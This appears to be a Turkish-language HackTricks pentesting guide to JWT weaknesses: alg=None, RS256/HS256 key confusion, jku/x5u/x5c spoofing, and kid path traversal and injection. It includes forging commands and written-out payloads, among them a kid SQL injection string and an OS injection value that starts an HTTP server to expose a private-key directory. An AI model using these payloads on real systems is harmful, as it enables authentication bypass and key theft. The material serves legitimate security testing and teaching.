JWT Açıkları (Json Web Tokens)

Reading time: 11 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Bu yazının bir kısmı harika bir yazıya dayanmaktadır: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWT'leri pentest etmek için harika aracın yazarı https://github.com/ticarpi/jwt_tool

Hızlı Kazanımlar

jwt_tool aracını All Tests! modu ile çalıştırın ve yeşil satırları bekleyin

bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Eğer şanslıysanız, araç web uygulamasının JWT'yi yanlış kontrol ettiği bazı durumları bulacaktır:

Sonra, isteği proxy'nizde arayabilir veya o istek için kullanılan JWT'yi jwt_ tool ile dökebilirsiniz:

bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Burp'tan JWT saldırıları başlatmak için Burp Extension SignSaboteur kullanabilirsiniz.

Hiçbir şeyi değiştirmeden veriyi manipüle etme

Veriyi manipüle edebilir, imzayı olduğu gibi bırakabilir ve sunucunun imzayı kontrol edip etmediğini kontrol edebilirsiniz. Örneğin, kullanıcı adınızı "admin" olarak değiştirmeyi deneyin.

Token kontrol ediliyor mu?

Bir JWT'nin imzasının doğrulanıp doğrulanmadığını kontrol etmek için:

  • Devam eden doğrulamayı öneren bir hata mesajı; ayrıntılı hatalardaki hassas bilgiler gözden geçirilmelidir.
  • Dönen sayfadaki bir değişiklik de doğrulamayı gösterir.
  • Değişiklik yoksa, doğrulama yok demektir; bu, payload iddialarını manipüle etmek için deneme yapma zamanıdır.

Köken

Token'ın sunucu tarafında mı yoksa istemci tarafında mı oluşturulduğunu belirlemek için proxy'nin istek geçmişini incelemek önemlidir.

  • İstemci tarafında ilk kez görülen token'lar, anahtarın istemci tarafı koduna maruz kalabileceğini gösterir ve daha fazla araştırma gerektirir.
  • Sunucu tarafında kaynaklanan token'lar güvenli bir süreci gösterir.

Süre

Token'ın 24 saatten fazla sürüp sürmediğini kontrol edin... belki de hiç süresi dolmuyor. "exp" alanı varsa, sunucunun bunu doğru bir şekilde işleyip işlemediğini kontrol edin.

Brute-force HMAC gizli anahtarı

Bu sayfaya bakın.

Algoritmayı None olarak değiştir

Kullanılan algoritmayı "None" olarak ayarlayın ve imza kısmını kaldırın.

Bu açığı denemek ve JWT içindeki farklı değerleri değiştirmek için "JSON Web Token" adlı Burp eklentisini kullanın (isteği Repeater'a gönderin ve "JSON Web Token" sekmesinde token'ın değerlerini değiştirebilirsiniz. "Alg" alanının değerini "None" olarak ayarlamak için de seçebilirsiniz).

Algoritmayı RS256 (asimetrik) yerine HS256 (simetrik) olarak değiştirin (CVE-2016-5431/CVE-2016-10555)

HS256 algoritması, her mesajı imzalamak ve doğrulamak için gizli anahtarı kullanır.
RS256 algoritması, mesajı imzalamak için özel anahtarı kullanır ve kimlik doğrulama için genel anahtarı kullanır.

Algoritmayı RS256'dan HS256'ya değiştirirseniz, arka uç kodu genel anahtarı gizli anahtar olarak kullanır ve ardından imzayı doğrulamak için HS256 algoritmasını kullanır.

Sonra, genel anahtarı kullanarak ve RS256'yı HS256'ya değiştirerek geçerli bir imza oluşturabiliriz. Bunu gerçekleştirmek için web sunucusunun sertifikasını alabilirsiniz:

bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Yeni genel anahtar başlıkta

Bir saldırgan, token'ın başlığına yeni bir anahtar yerleştirir ve sunucu bu yeni anahtarı imzayı doğrulamak için kullanır (CVE-2018-0114).

Bu, "JSON Web Tokens" Burp eklentisi ile yapılabilir.
(Isteği Repeater'a gönderin, JSON Web Token sekmesinde "CVE-2018-0114" seçin ve isteği gönderin).

JWKS Spoofing

Talimatlar, özellikle "jku" başlık iddiasını kullanan JWT token'larının güvenliğini değerlendirmek için bir yöntem detaylandırmaktadır. Bu iddia, token'ın doğrulaması için gerekli olan genel anahtarı içeren bir JWKS (JSON Web Key Set) dosyasına bağlantı sağlamalıdır.

  • "jku" Başlığı ile Token'ları Değerlendirme:

  • "jku" iddiasının URL'sini doğrulayarak uygun JWKS dosyasına yönlendirildiğinden emin olun.

  • Token'ın "jku" değerini, trafik gözlemi yapmaya olanak tanıyan kontrol edilen bir web hizmetine yönlendirecek şekilde değiştirin.

  • HTTP Etkileşimini İzleme:

  • Belirttiğiniz URL'ye yapılan HTTP isteklerini gözlemlemek, sunucunun sağladığınız bağlantıdan anahtarları almaya çalıştığını gösterir.

  • Bu süreçte jwt_tool kullanırken, testin kolaylaştırılması için kişisel JWKS konumunuzu jwtconf.ini dosyasını güncelleyerek belirtmek önemlidir.

  • jwt_tool için Komut:

  • Aşağıdaki komutu jwt_tool ile senaryoyu simüle etmek için çalıştırın:

bash
python3 jwt_tool.py JWT_HERE -X s

Kid Sorunları Genel Bakış

kid olarak bilinen isteğe bağlı bir başlık iddiası, belirli bir anahtarı tanımlamak için kullanılır ve bu, token imza doğrulaması için birden fazla anahtarın bulunduğu ortamlarda özellikle önemlidir. Bu iddia, bir token'ın imzasını doğrulamak için uygun anahtarın seçilmesine yardımcı olur.

"kid" ile Anahtarı Açığa Çıkarma

kid iddiası başlıkta mevcut olduğunda, karşılık gelen dosya veya varyasyonları için web dizininde arama yapması önerilir. Örneğin, "kid":"key/12345" belirtilmişse, web kökünde /key/12345 ve /key/12345.pem dosyaları aranmalıdır.

"kid" ile Yol Traversali

kid iddiası, dosya sisteminde gezinmek için de istismar edilebilir ve bu, rastgele bir dosyanın seçilmesine olanak tanıyabilir. Belirli dosyalar veya hizmetler hedeflenerek kid değerini değiştirerek bağlantı testi yapmak veya Sunucu Tarafı İstek Sahteciliği (SSRF) saldırıları gerçekleştirmek mümkündür. JWT'yi, orijinal imzayı koruyarak kid değerini değiştirmek için -T bayrağını kullanarak değiştirmek mümkündür, aşağıda gösterildiği gibi:

bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Belirli içeriklere sahip dosyaları hedef alarak, geçerli bir JWT oluşturmak mümkündür. Örneğin, Linux sistemlerinde 2 değerini içeren /proc/sys/kernel/randomize_va_space dosyası, JWT oluşturma için simetrik şifre olarak 2 ile kid parametresinde kullanılabilir.

"kid" Üzerinden SQL Enjeksiyonu

Eğer kid iddiasının içeriği bir veritabanından şifre almak için kullanılıyorsa, kid yükünü değiştirerek bir SQL enjeksiyonu gerçekleştirilebilir. JWT imzalama sürecini değiştirmek için SQL enjeksiyonu kullanan bir örnek yük şunları içerir:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Bu değişiklik, JWT imzalama için bilinen bir gizli anahtar olan ATTACKER'ın kullanılmasını zorlar.

"kid" Üzerinden OS Enjeksiyonu

kid parametresinin bir komut yürütme bağlamında kullanılan bir dosya yolunu belirttiği bir senaryo, Uzaktan Kod Yürütme (RCE) zafiyetlerine yol açabilir. kid parametresine komutlar enjekte ederek, özel anahtarları açığa çıkarmak mümkündür. RCE ve anahtar açığa çıkarma sağlamak için bir örnek yük şudur:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u ve jku

jku

jku, JWK Set URL anlamına gelir.
Eğer token “jkuHeader iddiasını kullanıyorsa, o zaman sağlanan URL'yi kontrol edin. Bu, token'ı doğrulamak için Kamu Anahtarını içeren JWKS dosyasını barındıran bir URL'ye işaret etmelidir. Token'ı, trafiği izleyebileceğiniz bir web hizmetine jku değerini işaret edecek şekilde değiştirin.

Öncelikle yeni özel ve kamu anahtarları ile yeni bir sertifika oluşturmanız gerekir.

bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Sonra, örneğin jwt.io kullanarak oluşturulan genel ve özel anahtarlarla yeni bir JWT oluşturabilir ve jku parametresini oluşturulan sertifikaya yönlendirebilirsiniz. Geçerli bir jku sertifikası oluşturmak için, orijinal olanı indirebilir ve gerekli parametreleri değiştirebilirsiniz.

"e" ve "n" parametrelerini bir genel sertifikadan şu şekilde elde edebilirsiniz:

bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. PEM formatında kodlanmış bir dizi X.509 (bir sertifika formatı standardı) genel sertifikasına işaret eden bir URI. Set içindeki ilk sertifika, bu JWT'yi imzalamak için kullanılan sertifika olmalıdır. Sonraki sertifikalar, her biri bir öncekini imzalayarak sertifika zincirini tamamlar. X.509, RFC 52807'de tanımlanmıştır. Sertifikaların aktarımı için taşıma güvenliği gereklidir.

Bu başlığı kontrolünüz altındaki bir URL ile değiştirin ve herhangi bir isteğin alınıp alınmadığını kontrol edin. Bu durumda JWT'yi değiştirebilirsiniz.

Kontrolünüz altındaki bir sertifika kullanarak yeni bir token oluşturmak için, sertifikayı oluşturmanız ve genel ile özel anahtarları çıkarmanız gerekir:

bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Sonra, örneğin jwt.io kullanarak oluşturulan genel ve özel anahtarlarla yeni bir JWT oluşturabilir ve x5u parametresini oluşturulan .crt sertifikasına yönlendirebilirsiniz.

Bu iki güvenlik açığını da SSRF'ler için kötüye kullanabilirsiniz.

x5c

Bu parametre base64 formatında sertifika içerebilir:

Eğer saldırgan kendinden imzalı bir sertifika oluşturursa ve ilgili özel anahtarı kullanarak sahte bir token oluşturursa ve "x5c" parametresinin değerini yeni oluşturulan sertifika ile değiştirip diğer parametreleri, yani n, e ve x5t'yi değiştirirse, esasen sahte token sunucu tarafından kabul edilecektir.

bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Gömülü Genel Anahtar (CVE-2018-0114)

Eğer JWT, aşağıdaki senaryodaki gibi gömülü bir genel anahtara sahipse:

Aşağıdaki nodejs betiği kullanılarak bu verilerden bir genel anahtar oluşturmak mümkündür:

bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Yeni bir özel/genel anahtar oluşturmak, yeni genel anahtarı token içine yerleştirmek ve bunu yeni bir imza oluşturmak için kullanmak mümkündür:

bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Bu nodejs betiğini kullanarak "n" ve "e" değerlerini elde edebilirsiniz:

bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Sonunda, kamu ve özel anahtarı ve yeni "n" ve "e" değerlerini kullanarak jwt.io ile herhangi bir bilgiyle yeni geçerli bir JWT oluşturabilirsiniz.

ES256: Aynı nonce ile özel anahtarın ifşa edilmesi

Bazı uygulamalar ES256 kullanıyorsa ve iki jwt oluşturmak için aynı nonce kullanıyorsa, özel anahtar geri yüklenebilir.

İşte bir örnek: ECDSA: Aynı nonce kullanıldığında özel anahtarın ifşa edilmesi (SECP256k1 ile)

JTI (JWT ID)

JTI (JWT ID) iddiası, bir JWT Token için benzersiz bir tanımlayıcı sağlar. Token'ın yeniden oynanmasını önlemek için kullanılabilir.
Ancak, ID'nin maksimum uzunluğunun 4 (0001-9999) olduğunu varsayalım. 0001 ve 10001 istekleri aynı ID'yi kullanacak. Bu nedenle, arka uç her istekte ID'yi artırıyorsa, bunu bir isteği yeniden oynama amacıyla kötüye kullanabilirsiniz (her başarılı yeniden oynama arasında 10000 istek göndermeniz gerekecek).

JWT Kayıtlı iddiaları

JSON Web Token (JWT)

Diğer saldırılar

Çapraz hizmet İletim Saldırıları

Bazı web uygulamalarının token'larının oluşturulması ve yönetimi için güvenilir bir JWT hizmetine güvendiği gözlemlenmiştir. JWT hizmeti tarafından bir müşteri için oluşturulan bir token'ın, aynı JWT hizmetinin başka bir müşterisi tarafından kabul edildiği durumlar kaydedilmiştir. Üçüncü taraf bir hizmet aracılığıyla bir JWT'nin verilmesi veya yenilenmesi gözlemlenirse, aynı kullanıcı adı/e-posta ile o hizmetin başka bir müşterisinde bir hesap açma olasılığı araştırılmalıdır. Ardından, elde edilen token'ı hedefe bir istekte yeniden oynama girişiminde bulunulmalıdır.

  • Token'ınızın kabul edilmesi, herhangi bir kullanıcının hesabının taklit edilmesine olanak tanıyabileceğinden kritik bir sorun olabilir. Ancak, üçüncü taraf bir uygulamada kayıt olma izni gerekebileceği unutulmamalıdır, çünkü bu yasal bir gri alana girebilir.

Token'ların Süre Sonu Kontrolü

Token'ın süresi, "exp" Payload iddiası kullanılarak kontrol edilir. JWT'lerin genellikle oturum bilgisi olmadan kullanıldığı göz önüne alındığında, dikkatli bir şekilde ele alınması gerekmektedir. Birçok durumda, başka bir kullanıcının JWT'sini yakalamak ve yeniden oynamak, o kullanıcıyı taklit etmeyi mümkün kılabilir. JWT RFC, token için bir süre sonu belirlemek amacıyla "exp" iddiasını kullanarak JWT yeniden oynama saldırılarını azaltmayı önermektedir. Ayrıca, uygulamanın bu değerin işlenmesini sağlamak ve süresi dolmuş token'ları reddetmek için ilgili kontrolleri uygulaması önemlidir. Token "exp" iddiasını içeriyorsa ve test süre sınırları izin veriyorsa, token'ı saklamak ve süresi dolduktan sonra yeniden oynamak önerilir. Token'ın içeriği, zaman damgası ayrıştırma ve süre sonu kontrolü (UTC'deki zaman damgası) jwt_tool'ün -R bayrağı kullanılarak okunabilir.

  • Uygulama hala token'ı doğruluyorsa, bu durum bir güvenlik riski oluşturabilir, çünkü bu token'ın asla süresi dolmayabileceğini ima edebilir.

Araçlar

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin